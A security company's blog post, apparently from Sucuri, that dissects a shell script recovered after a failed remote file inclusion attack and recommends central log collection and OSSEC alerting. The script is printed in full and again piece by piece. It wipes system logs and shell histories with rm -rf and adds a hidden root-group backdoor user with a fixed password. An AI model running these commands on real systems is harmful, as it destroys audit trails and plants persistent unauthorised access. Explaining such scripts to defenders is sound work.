Server Compromises – Attackers Covering Their Tracks

When you’re remediating servers, one of the things you’re always looking for are any traces that show the attacker is trying to cover their tracks. In one such incident, right as we were responding to an attack, the attacker removed all the logs on the server, to include some of our tools designed to detect. We weren’t done configuring and almost missed it, but fortunately we were actively tailing all the logs and saw the attack. We obviously got the upper hand on the attack and won the battle, but it’s something everyone needs to be accounting for.

This is nothing new, any good attacker – good or bad – knows that an attack is comprised of four things:

  1. Reconnaisance
  2. Identify vector
  3. Exploit vector
  4. Cover tracks

As we continue to see a growing divide between enterprise level attackers and web attackers, the last step is often the one that is overlooked. Today however we came across a little gem on a clients site.

It appears the attacker decided on trying to gain access via a Remote File Inclusion (RFI) attack. Fortunately, they weren’t successful. But in the process they left a very small trail on the servers error logs, using that footprint, we were able to follow the rabbit home. Of the various things we found, there was one of particular interest to this post – a script designed to clean up the attackers tracks.

It’s always easy to say, “Hey, they do this folks, they cover their tracks!!” It’s something completely different to actually show you how they do it.

The Cleanup Script

Here is the relevant snippet of the shell script we pulled:

#!/bin/sh
hapuz() {
echo " ";
echo "[+]: Cleaning History ...";
rm -rf /tmp/logs;
rm -rf /root/.ksh_history;
rm -rf /root/.bash_history;
rm -rf /root/.bash_logout;
rm -rf /usr/local/apache/logs;
rm -rf /usr/local/apache/log;
rm -rf /var/apache/logs;
rm -rf /var/apache/log;
rm -rf /var/run/utmp;
rm -rf /var/logs;
rm -rf /var/log;
rm -rf /var/adm;
rm -rf /etc/wtmp;
rm -rf /etc/utmp;
cd /bin;
}
jancox() {
if [ "$(id -u)" = "0" ]; then
echo "########################";
echo "[x]: AWESOME Root: "`whoami`;
echo "########################";
cd ..;
rm -rf .cox;
cd /bin;
echo " ";
echo "[+]: Adding User Root ...";
adduser -g 0 mqqm -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh;
echo " ";
echo "[~] Username set to: mqqm";
echo "[~] Password set to: mqroot";
passwd mqroot;
hapuz;
exit

What’s great about this shell is that they do a lot more than just cover their tracks. I won’t cover everything right now, but will focus on the deletion of logs (i.e., covering their tracks) and creation of new users with root access (tsk tsk).

If you’re wondering, the user creation is important because not only are they cleaning up after themselves they are also ensuring they’d be able to get back in later.

First they create the remove function:

#!/bin/sh
hapuz() {

They then define what that function will do:

rm -rf /tmp/logs;
rm -rf /root/.ksh_history;
rm -rf /root/.bash_history;
rm -rf /root/.bash_logout;
rm -rf /usr/local/apache/logs;
rm -rf /usr/local/apache/log;
rm -rf /var/apache/logs;
rm -rf /var/apache/log;
rm -rf /var/run/utmp;
rm -rf /var/logs;
rm -rf /var/log;
rm -rf /var/adm;
rm -rf /etc/wtmp;
rm -rf /etc/utmp;

They would then create new users with root access:

echo "[+]: Adding User Root ...";
adduser -g 0 mqqm -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh;
echo " ";
echo "[~] Username set to: mqqm";
echo "[~] Password set to: mqroot";

This makes sense, create a user no one is expecting and if they system administrators are not paying attention they’d miss it

Finally, they run the new hapuz function:

hapuz;
exit

This makes sure they remove all the logs, not only the user logs – rm -rf /root/.bash_history; – but also all the logs that would show the RFI attack vector I first mentioned.

All this would have been possible if the software vulnerability they were trying to exploit would have been susceptible. When you think about this, consider things like TimThumb and Uploadify.

The Solution

To protect yourself against something like this you’d want to implement a solution capable of collecting and correlating all your logs off the main server. The ideal solution would have you setting up a agent / server relationship, where the agent is your webserver and the server is your log server.

It should be configured to collect real time and alert you if things like rm -rf are being used by any user, or if someone attempts to modify logs. You’d also want to to alerts on things like adduser.

A very viable solution for this is the implementation of OSSEC – host-based intrusion detection tool.

If you’re interested in such a solution you can always let us know and we’d work with you to get something implemented. Best way is to send us a note at info@sucuri.net.

Scan your website for free:
About Tony Perez

I'm a technologist with a passion for the Information Security domain. I am especially interested in malware reverse engineering, incident handling and response as well as offensive counter measures. Catch my personal rants on tonyonsecurity.com and follow on twitter at perezbox.